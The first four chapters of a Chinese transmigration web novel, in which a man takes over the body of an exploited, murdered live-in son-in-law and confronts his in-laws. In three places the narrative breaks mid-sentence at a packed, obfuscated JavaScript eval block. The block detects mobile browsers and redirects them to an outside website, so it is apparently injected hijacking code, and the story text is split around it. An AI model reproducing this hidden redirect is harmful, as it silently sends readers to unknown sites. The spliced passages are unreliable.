《炮灰男配的人生2(快穿)》 1. 当牛做马的上门女婿 一 寒风呼啸,崎岖的小道上有个男人挑着一担东西疾走,一阵风吹来,男人打了个寒颤,快走几步,想要走快点,让身子暖和起来好抵抗寒冷。 此时是冬天,大大小小的山上一片萧条之色,男人太过着急,一步迈空,整个人一头栽倒。 温云起睁开眼睛时,第一个感觉是冷,然后发现脸上特别痛,伸手一摸,满手殷红。 他好半晌才勉强起身,先看到了路旁翻倒的担子,全都是些针头线脑和油盐酱醋。 有些油盐酱醋打翻在地,捡是捡不起来了。 周围一片荒芜,大大小小的石头垫成的小道特别崎岖,左边是斜坡,右边是一片山崖。也就是运气好,若不然,从这里滚下去,哪里还有命在? 温云起没有来过这种地方,这担子也不属于他,但这周围只有他一个人。 他正觉得疑惑,脑子里忽然塞了许多东西。 “愿意帮枉死之人讨个公道吗?” 温云起当然愿意,更别提积攒了足够的功德后,他还能复活为自己报仇。 四下无人,温云起掐了一把,自己确定不是做梦后,很快镇定下来,将地上的担子整理了一下,找了个背风处闭上眼睛。 原身林大力,出身在梁国一个偏远的小镇上,他家中兄弟太多,爹娘完全顾不上他,平时忙着赚钱养家。 林大力以为不得爹娘照顾,平时吃不饱穿不暖已经很惨。不成想没有最惨,只有更惨,他五岁那年,父亲帮人干活时被一块砖砸在头上,当场就没了命。他母亲连续干了几天的活,得知此事时一头栽倒,整个人偏瘫,再也下不来床。 那时他大哥十三岁,二姐十二岁,三哥四哥九岁。 他是家中老五,年纪最小,根本帮不上忙。 穷人的孩子早当家,兄弟姐妹各找各的出路。三哥四哥跟着一个走街串巷的老手艺人进了城,大哥和二姐将偏瘫的母亲照顾了十年,累到心力交瘁,彼时大哥二十有三,却还没成亲,二姐嫁了人却因为时常回娘家照顾母亲被婆家不喜。母亲后来是自己绝食而亡。 给母亲办完了丧事,大哥林大春娶了个带女儿的寡妇进门。 寡妇不要聘礼,唯一的要求就是家中只能住他们一家三口,旁人不能留下。 林大力不想让大哥为难,错过了这个寡妇,林大春想再娶会很难。那年他十五岁,为自己找了个家。 他跑到了离镇上最近的小河村做了上门女婿。 小河村白家是外地搬来的一户人家,都说人离乡贱,白家初到,难免被人欺负。白满平娶了小河村里吴家的姑娘,这才在村里立足。 只是,吴氏过门后,连生了六个闺女,一直生到半身不遂,还是没能为白家留个后。白满平倒是想要儿子传宗接代,但他一个外地人,能在村里不被人欺负全靠岳家,他不敢找其他女人生孩子。 随着吴氏瘫在床上,白满平再不甘心,也只能打消继续生孩子的念头,转而给大女儿招赘婿。 大女儿白桃十六岁,比林大力还大一岁,底下的妹妹是十四岁十二岁十岁,每两年就一个妹妹。 林大力进门后,真的成了全家的老黄牛,家里家外的事情一把抓,用白满平的话说,男人辛苦些不要紧,姑娘家就该娇养着。但他自己却不怎么干活,这话只针对林大力。 家里的花销很大,只凭着种地根本养不活一家子,更别提还要为吴氏请医问药。农忙时林大力在家干活,农闲了就四处找短工,后来做了卖货郎,有空就挑着担子到处转,别人一双鞋穿一两个月,他一双鞋最多十天就破了。 明明是因为走了太多路才这么费鞋,落在白满平口中,就是女婿又懒又馋还费衣费鞋,总之,他口中的林大力就没有任何优点。 早在决定做上门女婿之前,林大力就知道自己以后的日子不好过。反正就是这条命,干不死就往死里干,大不了就是一死嘛! 成亲一年,白桃有了身孕,十月怀胎,生下来了一个女儿。 彼时已经人到中年的白满平很是失望,想要让女儿继续生孩子。 但白桃有些伤着了身子,大夫说需要养上三两年才能生第二个孩子,结果两年后她上山干活时,直接从最高的白泥崖上滚了下去。当时二妹白婷儿亲眼所见,想救救不回,哭哭啼啼回到家。 白吴两家请了村里人出面救人,可是山崖太高,那底下人迹罕至,那些采药的药农和打猎的猎户都不敢去。据说山崖底下的林子里瘴气横行,只见有人进,不见有人出,去那林子,几乎是十死无生。 两家再不想承认,也知道白桃救不回了。 彼时林大力已经十八,去哪儿都能讨口饭吃。当初急吼吼搬来白家,主要是不想阻挡了大哥的姻缘。 才刚刚两岁的女儿勉强会说话,她说想要和祖父母住在一起,求他不要走……他可以不管白家人,但不可能不管自己的女儿。 他自己就是从小没有长辈照顾,知道没爹娘的孩子有多苦。 为了女儿,他留了下来。 这一留就是十四年,直到女儿出嫁,他打算供养二老终老,此时他的身份很是尴尬,因为白桃出事后,白婷儿先是出嫁,后来带着夫君回到了娘家住。 换句话说,如今这当家的是白婷儿夫妻俩,当初求他留下来的白家二老也转变了想法,因为白婷儿生了三胎,全是儿子。 就在林大力不知该何去何从时,白桃回来了。原来她当年摔下山崖没有死,而是顺水流了百里,她没了记忆,恰巧同村的年轻人在那处干活,和她偶遇后将她接回照顾。 就在这期间,两人生了感情,干脆就一直不回来了。 回到家里的白桃还说自己不记得林大力,也不记得自己生过一个女儿。 林大力满腔悲愤,这家彻底没了他的位置。他也不想留下,干脆进城投奔三哥四哥,结果,就在他离开前夕,村里忽然有了关于他的传言。说他这些年做货郎和不止一个寡妇暗地里来往,还经常去镇上找花娘。 清者自清,那些人躲在背后说,他也不可能跑到人家面前为自己辩解,再说,他都要走了,也无所谓这些人怎么传.。 其实他是心灰意冷,因为他说要走,这家里上上下下,没有一个人出声挽留,他感觉自己这么多年的付出好像不存在,没有一个人记得他的好。 离开时,白桃夫妻俩说是要送他去镇上,他拒绝了,两人却执意。 就在走到高处时,被白桃的那个男人从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326973|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 背后推了一把。 半山腰的道路崎岖,一边往上,一边往下,往下的那边很是陡峭。白桃当年滚下山崖没有死,林大力却没有她的运气,当场就摔到全身不能动。 他躺在山涧之中,听着高处路上的两人说话。 也是到了此刻,他才知道,所谓掉下山崖从头到尾就是一场谎言,白桃当年没有摔下山崖,是白婷儿撒了谎。既然没摔,失忆自然也不存在。 白桃早就和同村的谭二井看对了眼,只不过她被双亲强行留下招赘婿,谭家那边也不愿意让儿子做上门女婿,一双鸳鸯就此被拆散。 甚至,就连白桃生下的那个女儿,都是谭家血脉。 “大力?你怎么窝在那?天气这么冷,你是冻僵了吗?” 温云起听到有人在喊自己,下意识站直身子,这么一会儿的功夫,浑身确实都冻僵了。他动了动手脚,重新挑起担子。 现在这个时间,林大力已经做了十三年的上门女婿,女儿白月十一岁。 就在今年,白婷儿会带着男人和儿子搬回家中住。 事实上,白婷儿以前就经常带着儿子回来小住,三五天是常态,偶尔住半个月。 只是这一次,她是把婆家那边所有的东西都搬了回来,不打算再回去。 说话的是小河村一位姓王的大娘,此处是去大河村的路,她娘家在大河村。而林大力……则是做了卖货郎,挑着担子从大河村往家走。 卖货郎很辛苦,挑着沉重的担子走各种崎岖小路,不过,赚得还行,比给人做工赚得要多一点。 “大娘,我没事,就是累了在这背风处歇歇脚,一起走吧。” 王大娘看他衣着单薄,这大冷的天,他衣衫上还有好几个破洞,隐约能看到里面的肉。 外头这么冷,穿这么一点,铁人也扛不住啊。 “大力啊,你还是要对自己好点。”王大娘苦口婆心,“你做这卖货郎好多年了,我娘嫂嫂她们都说你做生意厚道,他们村的人要买点什么,等也要等着你去了才买。你不可能连做一身新衣的银子都没有吧?” 没爹娘的孩子容易被人看不起,林大力从小沉默寡言,往日对这种话,他都不回答,只是笑笑。 温云起可不管,摇头道:“家里那么多口人呢,几个妹妹一个接一个的出嫁,嫁妆还没攒够,又有妹妹要嫁,这不是没法子吗?眼看月儿越来越大,我这个当爹的总不可能让她空手出门子吧?” 王大娘面色格外复杂:“你这……老实人最容易吃亏,你为他们考虑,谁为替你着想呀?”话说出口,她惊觉自己多了嘴,“我随便说说,你随便听听,别往心上放啊。” “大娘的好意我明白。”温云起挑担子一开始有点不习惯,几步路后就好多了,他无意一般问:“大娘,要说村里赚得多,非二井莫属,他去外地好多年了,一直不回,怕是早就发家喽。” 王大娘家就在谭家隔壁,两家是邻居,但相处不太和睦。提及谭家,王大娘是满肚子的怨气,自然也没几句好话:“什么呀,我看那谭二井是在外头闯了祸不敢回。前几天他娘都说漏嘴了,说二井不是不想回家,是不能回。” 温云起故作好奇:“为什么?闯什么祸了?” 2. 当牛做马的上门女婿 二 王大娘摇头:“好像是惹了村里的谁,回来就会被打。”说到这里,她也一脸疑惑,“你说到底是什么样的仇怨,才会害怕到连家都不敢回?” 温云起想了想:“杀父之仇,夺妻之恨?否则,旁人也不会那么无聊地针对他啊,真把人打死了,还得偿命呢。” 王大娘深以为然,接下来一路,她又说起了村里其他的新鲜事,提到了一个姓齐的寡妇。 齐寡妇是城里的姑娘,被人骗到了村里,她当时是自己愿意留下,只是成亲十年一直没孩子,前面两年日子还好过,后来因为没生孩子,被婆婆从村头骂到村尾。 “我听说啊,夫妻俩这么多年没孩子,不是她不生,是她男人不行。” 温云起心里想着回到白家之后的应对,有一搭没一搭的听着,并没把这些闲话放在心上。 小河村有五六十户人家,近三百人。因所有的人喝水都只靠着从山上下来的一条小河而得名。 温云起挑着担子进门,还没来得及喘口气,就听到白婷儿在厨房里扯着嗓子喊:“姐夫,快点去挑水,锅都要烧干了。” 闻言,温云起颇为无语。 方才他进门时已经看见白婷儿的男人进了厨房,分明是去拿扁担挑水的,结果看他进门,人就没动静了。 合着在这个家里,谁都可以歇着,就是林大力不行。 “我刚才在路上摔了,脸上有伤,需要去镇上看看……” 温云起话还没说完,白婷儿已经不耐烦地拿着锅铲站在了厨房门口:“你受伤的是脸,又不是脚,怎么就不能挑水了?你要是伤着了肠子,不看大夫会死,那我肯定不拦着你。一个大男人,伤了脸有什么大不了的?我不管啊,赶紧挑水来,你不吃饭,我们还要吃呢。” 换作往日,林大力肯定是老老实实去挑水了,他口舌笨拙,白婷儿说话那么快,他说又说不过,只能老实干活。 一会儿的功夫,白婷儿的男人吴德已经利索地将扁担和水桶放在温云起面前。 林大力在这个家里受的委屈实在太多了,从十五搬来后,拼了命的养活这一家子,白桃负了他就算了,竟然还不许他活着离开。 如此欺负人,温云起要是还老老实实帮这一家子挑水,林大力怕是要气活过来。 温云起看着面前的水桶和扁担,忽然抬脚,直接就将那只桶踢飞了出去。 彼时吴德正转身离开,准备再回房里躺会儿,刚走两步,桶就撞上了他的背,他吃痛回头,明白发生了什么后,顿时怒不可遏,捏着拳头就朝着温云起冲了过来,脸色狰狞,满眼狠厉:“我看你是疯了,今儿我非给你个教训不可。” 温云起侧身,避开他的拳头,捏住他的手腕狠狠一掐,咔嚓一声,直接将手腕捏脱臼,然后伸手一扯,将人狠狠扯倒在地上。 不过眨眼之间,吴德就趴在了地上,胸口和脸都特别痛,脸上还被擦伤了一大片,瞬间流出了血来。 他脸上的伤口不如林大力那么深,但伤了半边脸,鲜血淋漓,看着吓人。 这一切发生得太快,白婷儿眼睁睁看着,竟然帮不上忙。反应过来后,她气得将手中的锅铲直接扔出。 温云起伸手借住,反扔了回去。 白婷儿扔了锅铲,也不管打不打得到人,直接就朝着吴德奔过去想要将人扶起来。 结果,锅铲砸头,白婷儿痛得眼冒金星,她气急败坏大叫:“爹!你管不管?林大力要打死我们了。” 白满平在屋里躺着,最近天气太冷,摸着什么都冰,他什么都不想碰,只想窝在被窝里。先前就听到了外头有动静,噼里啪啦的,一听就知道几人在砸家里的物件。不过,骂人也是要力气的,白满平懒得管,反正林大力经常来往于镇上和各个村子里,缺什么让他去买就是了。 结果没多久就听见女儿在嚷,白满平躺不住了,起身推开窗:“闹什么?不想过了吗?大力,都是一家人,有话好好说,你别动手。” 温云起不以为然:“是他们先动的手。” “才不是。”吴德捂着受伤的胳膊,都没空去擦脸上的血,“你无缘无故就拿桶来砸我……在外头受了气,也别拿我来泄火啊。” 如今白家只剩下小六没出嫁,这会儿她去小姐妹家中做鞋样子了。如今院子里除了白满平和白婷儿夫妻俩,就只有他们的三个孩子,至于白月,今日一早去了三姨白兰儿家中。 白兰儿嫁得好,婆家在镇上做瓷器生意,她过门后生了二子一女,在婆家很受看重,她喜欢白月,经常把人接过去常住。 白月也喜欢住在镇上,每年都会去好几次。 只不过,林大力今年不太想让女儿去。 满了十一岁的女儿身量高,已经初见少女的窈窕,她长相又好……镇上有一群混混,林大力怕女儿被他们盯上。 不过,白月从小就不尊重他,也不听他的话。而白满平对于孙女去镇上小住,一直都是乐见其成。不说孙女到镇上住家里就能省下一份粮食,在镇上熟悉了,又有她三姨帮忙,说不定回头也能嫁到镇上去。 白婷儿大儿子今年八岁,是个小胖子,这会儿带着两个弟弟从后院出来,看到父亲满脸是血,眼神一扫,瞬间锁定了温云起,炮仗一般冲了过来。 “我让你打我爹!” 他捏着拳头满脸凶狠,俨然将温云起当成了仇人。 这孩子被宠坏了,跟着家里的大人一起,从来不将林大力看在眼中,并且从来不知道什么叫谦让。以前家中给林大力留的饭,没少被他吃掉。 温云起一伸手直接揪住了他的衣领,将人提了起来,作势要扔出去。 孩子吓得哇哇大哭。 白婷儿见状,吓到魂飞魄散。 “姐夫!有话好好说!” 吴德目眦欲裂:“你敢伤我儿子,我跟你拼命!” 闻言,温云起嗤笑一声:“你以为我会怕你?” 说扔就要扔。 白婷儿扑上前来:“姐夫,你别伤害孩子,是我对不住你。” 她眼泪汪汪,伸手抱孩子。 温云起嗤笑一声,将孩子扔给她。 八岁大的小胖子体重不轻,白婷儿接不住,母子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326974|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 俩一起摔倒在地上。 “好好教孩子,你不认真教,自有旁人替你教。”温云起面色淡淡,“我要去镇上包扎,水是挑不了了,这院子里除我之外还有两个男人,我不信我今天不挑这个水一家人就吃不上饭。” 说完,他转身就走。 走了两步,又将卖货的担子挑着一起。 白满平气得浑身发抖,女婿从进门第一天起就很听话,还是第一回拒绝帮家里干活。 “林大力,谁惹你了?这家里没人惹你吧?” 温云起已经走到门口,闻言顿住脚步:“刚才我从大河村回来的时候,在村口的坡上摔了一跤,险些带着担子从山坡上滚下去。当时只是摔伤了脸,但我突然就想明白了,这整个家里上上下下只有我最辛苦,所有妹妹的嫁妆都是我准备的,月儿也不和我亲,没意思。偷懒嘛,谁不会呢,以后我是不打算干活了,你们别老想着使唤我,把我逼急了,大家都别好过。” 撂下话,他抬步走,跨过门槛时,想到什么,扭头道:“大河村有个人在运安码头干活,他说在码头上看到了一个和白桃很像的女人,不光容貌相似,年纪也差不多,身边还带着两个女儿。” 他说这些话时,眼角余光一直注意着白家父女脸上的神情。 白婷儿满脸惊慌。 白父很不高兴:“别胡说!桃儿已经不在了,长得再相似,那人也不是她。” 温云起扭头:“但是我从头到尾没有看到白桃的尸身,万一她还活着呢?所以,我打算过两天抽空去码头一趟,看看到底是不是她。如何她还活着,我总要让她知道,这些年我在白家为了她都付出了多少吧?” “家里这么忙,眼瞅着就要翻地了,你哪有空去码头?”白父板起脸来:“不许去!” 温云起一脸莫名其妙:“爹,我不明白你为何不让我去?山崖底下确实有一条大河直通运安码头,如果她当时没有落到林子里,而是落到了河中,真的有可能被人救下。那是你的亲生女儿,得知人还可能活着,你居然不让我前去相认,你到底是不是白桃亲爹?” 白父噎住:“亲生父女之间有感应,我能感觉到桃儿已经不在了,你跑一趟,浪费时间又浪费钱财,不划算!” “如果桃儿还活着,我觉得很划算。”温云起摆摆手,“你们不用劝我,我已经打定主意走这一趟。” 白父皱眉:“我说了不许你去,你敢不听我的话?” “呵呵!”温云起满脸嘲讽,这会儿他是一脚门里一脚门外,白家的大门敞开着。最近天气冷,大部分人都窝在家里猫冬,这院子里又吵又闹又叫又哭,已经有人注意到了。这会儿门开着,邻居们都悄悄往这边观望。 “爹,我自己去找,自己出钱,又不要你花钱费力。凭什么不让我去?白桃除了是你女儿,她还是我媳妇,是我孩子的娘。你放弃她是你的事,如今有她消息,我是一定要去找的,谁拦都不好使!” 他看向那些躲在门后和墙后的邻居,沉声道:“如果白桃真的还活着,我非得问一问她,既然活着,为何这么多年都不回来。” 3. 当牛做马的上门女婿 三 白桃还活着? 众人都很惊讶,他们还是第一回听到有人说白桃活着的事。 既然活着,为何不回家? 温云起故意这么说,也是为了让众人怀疑白桃。 回头她再说失忆,却又和谭二井在一起多年,连孩子都生了两个……也要看众人信不信她的胡扯。 这分明就是私奔嘛! 温云起不管白家人的神情,挑着担子去了镇上,他确实去看了大夫,不光是因为脸上的伤,还让人配了一些补身的药。 林大力过去那些年太辛苦,又没吃好,饱一顿饥一顿,胃上肯定有毛病,身子亏损严重,必须得好生调理一番。 看了病抓了药,脸上也包扎过,温云起这才挑着担子去找林大春。 林家在镇上有个宅子,但是那房子不大,只有两间半屋子,厨房都是后来搭的。 原本林家有整个院子,林大力的祖父是个败家子,又喜欢喝酒又喜欢赌,那另外半个院子就是被他输出去的。 林祖父不是个当得起家的,林父又早早离世,还留下了一串孩子……最后苦的就是兄弟姐妹五人。 这会儿已经是下午,林大春不在家,在镇上收潲水。 夫妻俩会过日子,寡妇杨氏很勤快,带来的女儿早两年就出嫁了,如今家中养了两头母猪,这些年一直养猪,院子里也打扫得干干净净。 不过,从当初杨氏逼着林大春将其余兄弟姐妹赶出门就看得出,她是个很厉害的人,不会轻易心软。 打开门看到温云起,杨氏有些意外,却还是侧身让路:“大力来了,快进来。你大哥大概还有小半个时辰才能回来,你先坐,我去做饭,今晚留在这儿吃。” 杨氏也就是当初嫁进来之前逼着林大春将其余兄弟撵走时不近人情,后来这些年,无论林大力何时上门,她都客客气气,与嫁出去的林二姐也相处得不错。 她一边忙着做饭,一边好奇问:“大力,你这脸上是受伤了吗?” 温云起颔首:“挑着担子不小心摔了一跤。” “哎呦,那可得小心。虽然这是冬天,但冬天伤口不易长好,你最近少出门吹风,看大夫包得这么严实,难道伤口很大?”杨氏干活利索,说话的同时手上一直都没停,这会儿的功夫,火已经烧了起来。 不等温云起回答,她又扯着嗓子喊:“继方,继方,你五叔来了,快回来!” 林继方今年十二,是杨氏过门后为林大春生的儿子。 十二岁的小少年早已经开始干活,这会儿从外面进来,手里还拿着锯子,他学过一段时间的木工,原本是打算学出师,但是四年前林大春有一次摔伤了腰,干不了活儿,林继方就搬回了家,离开时有跟师父告假,刚好木匠师父要赶一批家具,原本人手就不够。 那边不让回,家里又等着照顾,林继方无奈,只得强行回家。这一动作也惹恼了师父,等到家里忙完再去请罪,师父已经不愿意再教他,直接把他撵了出来。 “五叔。” 林继方比较健谈,人也聪明,若不是如此,也不可能跟着木匠学几年手艺。 “五叔近来可好?” 温云起笑眯眯的:“挺好。” 林继方见五叔比往日高兴不少,欲言又止。 温云起好奇问:“你有话要对我说?直说嘛!” “主要是……我不知道自己有没有看错,不确定这件事是不是真的。”林继方有些迟疑,却还是压低声音,“我前天看见了白幺妹,跟镇上的林老爷在一起吃饭。” 林是大姓,镇上就有好几户人家姓林,除了混的最差的林大力一家,其他姓林的都过得不错。至少,没有像林家兄弟这样要么娶寡妇,要么背井离乡 ,要么做上门女婿。 实话说,如今没几个人看得起林家兄弟,哪怕林大春生了个儿子,也没人愿意正眼看他。木匠师父不要林继方,主要和他的身世有关。当初收下林继方这个徒弟,木匠就想反悔……这是他喝醉了酒跟人说的,当时林继方就在旁边亲耳所听。 白幺妹是白家六妹,今年十六岁,是白家唯一还没有出嫁的女儿。不是白满平没为女儿张罗,而是相看了好几个,白幺妹都不愿意。 说白了,白幺妹就是嫌那些男人穷。原本她听到条件就不愿意见面,都是媒人和白满平压着见的,她一脸高傲,不拿正眼看人,虽然男方是求娶,但她一看就不像是能好好过日子的,人家也不会上赶着求一个祖宗回去,相看到最后都是不了了之。 “哪个林老爷?”温云起好奇问。 如果是林大力听见这事,多半要着急,因为他是真的拿白家当自己家,拿那些妹妹当自己的亲妹妹,主要是这些年付出得太多,他已经不愿意抽身了。 上辈子林大力脸上摔伤,回家后又干活忙到半夜,几乎是倒头就睡,好像是到过年的时候,才回了林家一趟,从头到尾没听到过这事。 白幺妹最后嫁给了同村的吴家,嫁的是吴德的堂弟,此时温云起忽然想起来,她嫁人后不久就有了身孕,后来还早产了。 如今看来,不一定是早产,搞不好是她怀了这位林老爷的孩子,找了姓吴的喜当爹。 “开布庄的林老爷。”说起这一位,林继方面色一言难尽,“他家中一妻四妾,还说是所有妻妾不分大小,总共生了七八个孩子,家里简直乱成了一锅粥。” 此人在镇上名声很大,林大力也听说过。 温云起哑然:“那幺妹还和他纠缠?” 林继方强调:“你可别说是我说的啊,我不想和她打交道。” 两家是亲戚,逢年过节时要互相走动。白家从来就看不起林家,林继方哪怕是个半大孩子,也早就看清楚了白家人的嘴脸。 他心里很不服气,这一家子明明都是靠五叔养着,偏偏又看不起五叔,连带的对他们林家也很不客气,都不知道哪里来的底气。 “放心,我不提你。” 叔侄二人说话间,林大春回来了,他推着个板车,板车上都是各种潲水。 这个年景,许多人家都不好过,还有人去拿潲水来吃,林大春自然收不到多少,与其说是收剩饭剩菜,不如说是洗碗水。 林继方看到父亲进门,立即过去帮忙。 “爹,今天不多啊。” 林大春摆摆手:“你五叔来了,有两家我就没去。” 不然,还得三刻钟才能回。 杨氏并没有不高兴,扬声喊:“没水了,先帮我挑水。” 温云起起身,准备帮林大力抬潲水,手还没碰到桶,就被林继方抢走了。 “五叔,这个很脏衣衫,你别碰!” 可林大力原本也没什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13326975|140425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好衣衫,穿着的这一身又破又旧,还有好几个窟窿。 温云起是打算到镇上买成衣换掉,最好是棉衣,年轻人火气重,能够扛得住这份冷意,但老了遭罪。 “不怕。”温云起执意帮着把烧水搬进了后院。 后院中味道很不好,喂了大大小小十来头猪。杨氏母子俩一天就伺候这些猪了。 镇子周围的草已经被割完,还得去周边村里,但村子里的人也养猪,不欢迎外头的人去割草。 哪怕是割路旁的草,也弄得跟贼似的鬼鬼祟祟,偶尔还会和各个村里的妇人吵架。 干什么都不容易。 等到叔侄二人将潲水安顿好,林继方顺便还把猪喂了,再出现在院子里时,林大春已经挑好了水。 “大力,你这脸怎么了?” 林大春看着就是那种很憨厚老实的长相,他本性也是老实的,不然,不会老老实实伺候瘫痪在床的母亲十来年。 “摔了一下。”温云起来这一趟,就是想再看看这夫妻二人的秉性,吃过晚饭,他将担子留下,独自一人出门,去成衣铺子里选了两套棉衣,当即换上一套新的,旧的那个直接丢了。 等他往村里走时,天已经黑透,白家院子里安安静静,众人早已睡下。 温云起就不想让他们好好睡,当即跑去砰砰砰敲白满平的屋子。 天气冷,白满平就不想起来:“什么事?” “爹,你最好还是起来一趟,这话要是被旁人听去了,丢的可是你的脸。”温云起一本正经。 白满平就不爱听这话,他什么都没做,不至于丢脸。 “有话直说。” 温云起呵呵:“幺妹在镇上跟那个卖布的林老爷一起吃饭,你管不管?” 白满平皱了皱眉,起身开窗:“你别胡说!” 白幺妹睡了,但是没睡着,听到姐夫回来,原本也没放在心上,听到这话,她再也躺不住:“林大力,我才没有。你听谁说的?” “镇上都传开了,无论我走到哪儿,那些妇人都在说你不要脸。” 闻言,白幺妹脸色大变。 她是和林老爷一起吃饭,但是镇上应该没几个人认识她呀。 白满平怒极,清白人家的姑娘,但凡听说过林老爷的名声,都不会与之来往。他也顾不得暖和不暖和,气得跳出门,直接冲进女儿房中,对着白幺妹啪啪就是两巴掌。 “爹!我没有!真的没有……呜呜呜……你信外人不信我……” 此话一出,温云起不满:“什么外人?合着在你们心里,我在这家辛辛苦苦这么多年,只是一个外人?” 他冷笑一声,“外人是吧?那这日子我不过了。” 说完这话,他踹了一脚门板,直把门板踹飞了去,转气冲冲直奔后院,顺手还扯了几根干草,奔到鸡圈就开始绑大大小小的鸡。 每绑好一只就丢到后院的地上,一转眼,就绑了好几只。 动静一大,隔壁的狗开始狂叫唤,到后来整个村子里的狗都在叫。 三更半夜,真的是鸡飞狗跳。 白满平看得眼皮直跳,大晚上又不想去摸那臭烘烘的鸡,吼道:“林大力,你敢!” 温运起就是敢,还故意绑好了往白满平身上扔去,扔的鸡毛满天飞。 白满平被呛得直咳嗽。 4. 当牛做马的上门女婿 四 别看林大力在白家辛苦这么多年,院子里许多东西都是他置办的,大到种地用的各种物件,小到锅碗瓢盆针头线脑,几乎都是他买回来的。但是,他如果真要搬家,其实没什么行李。 就两套破衣烂衫,夏天是它们,冬天也是它们,白天是避体的衣裳,晚上就是被子。至于林大力床上……当年成亲的时候有两床新被子,后来白桃一走,被子就被其他人瓜分了,都没有问过他,等他干活回来,被子已经被抱走。 这家里阴盛阳衰,他一个男人,也不可能去其他姑娘的屋子里找自己的被子,只能不了了之。 温云起在回来的路上已经盘算过,那些买来的物件不值什么钱,搬着还特别费事。唯一值得拿走的,就是后院这二十几只鸡。 这是春天时他从镇上林大春家里带来的两窝,杨氏送给他的。两只母鸡各带着十多只小鸡,那时有三十多只,养到现在,小鸡都长得有两三斤左右……平时就吃点草,一点粮食都没有,能长这么大,已经算是长得快。 大晚上的鸡都要睡了,温云起动作麻利,将所有的鸡一网打尽,全部绑了扔到空地上,又去找了两只麻袋,这会儿也顾不上鸡会不会死,随便剪了几个口子,把那些鸡往里一塞。 他干这些事的时候,白满平带着女儿几次试图阻止。 “林大力,你是疯了吗?把这些鸡给我放下!那鸡吓着了,不会再下蛋。” 白幺妹满脸嘲讽:“我看他是在外头闯了祸,必须要拿这些鸡卖了填坑,不然,我就是随口一句,他用得着这么生气?” 白满平不想碰这脏兮兮的鸡,白幺妹也差不多,两人愣是眼睁睁看着温云起将两大袋鸡拖着出门。 “林大力,你今天踏出这个门,以后就别回来了!” 温云起听到这话,心下呵呵。也就是林大力从小在家里没有得到好的待遇,稍微大点儿就开始独自求生,对林家没有归属感,而他为白家付出了这么多,合该是白家人。在他心里,白家才是他真正的家,是他要过一辈子的地方。 所以,他眼中的白家人是自家人,差不多的小恩小怨,他都不愿意计较。 换做上辈子的林大力,听到这话,可能会迟疑。但他都死过一次了,对白家只有怨恨,再不想和他们做一家人! 温云起走得头也不回。 白满平傻眼了,反应过来后,他跳着脚破口大骂。 “没良心的东西,要不是老子收留你,你早就饿死了!你去,以后别再回来了。” 小河村离镇上不远,走路需要一刻钟,村里的人走夜路,都是用一种油柴,想要直接点燃照路,从山上把柴砍回来后,先要泡在水里几个月,然后捞出来干上。手臂那么长的一截,能烧两刻钟左右。 温云起出门时顺便捞了两根比房子还高的带上,足有手腕那么粗,等这两根烧完,从镇上走个来回都够了。 拖着柴火出门,温云起又想起村里其他家的油柴根本就没有这么直这么长,白家的这一捆,全是林大力一个人准备的。 不行,还得回来,要不然太亏了。 大晚上的,温云起把那些鸡拖到了镇上的酒楼。 普通人家买鸡,都不喜欢太小,感觉鸡越老越养人。但是镇上的酒楼不同,他们就喜欢这种小点的……炖汤那些,可都是按只卖,最好还嫩一点,很快就炖熟了,不会太费柴火。 二十六只鸡,温云起留了两只老母鸡,其他的全部卖掉,得了八钱银子。 温云起抓着剩下的两只老母鸡去了林大春的院子。 于林大春而言,这人才刚走不久就回来了,他有些惊讶,又看弟弟抓着两只鸡:“大力,你这是做什么?” 温云起直言:“吵架了,白幺妹说我是个外人,我不想让他们占便宜,就把那一堆鸡抓了卖掉。这两只老母鸡是你们给的,我给还回来。” 小鸡崽子不一定能养活,有时候一窝十几只,一只都活不了。必须照看的人万分耐心,才有可能将其养大。 因此,小鸡崽子就不还了。 杨氏披着衣裳出来,看见两只老母鸡,叹了口气:“送给你就是你的,你要卖就一起卖掉呀,谁要你还了?” “我是觉得老母鸡卖掉了可惜,这只前两天还在下蛋呢。”温云起将两只鸡递给林大春,“今晚我在这儿住,明早上再回。” 大晚上的,他想睡会儿,不想再跟人吵架。 林继方立即出声:“五叔跟我睡吧,这么冷的天,我们俩一起睡,会比较暖和。” 也省得铺床了。 杨氏将那两只鸡抓回后院,对于儿子的提议没什么反应。她白天真的很累,也不想再铺床。 * 温云起以为自己会睡不着,结果沾床就睡。 大概是太累,温云起早上没能起来,听到院子里有人说话,他都懒得管,后来还是林继方来叫他,说是白兰儿来了。 白兰儿是家中老三,也是白家对林大力唯一抱有善意的人。 温云起出门,他昨天才买的新棉衣,晚上穿着抓鸡有味儿了,干脆就换上了另一套新的。 白兰儿站在院子里,看见温云起出现,她面色复杂:“大力哥。” 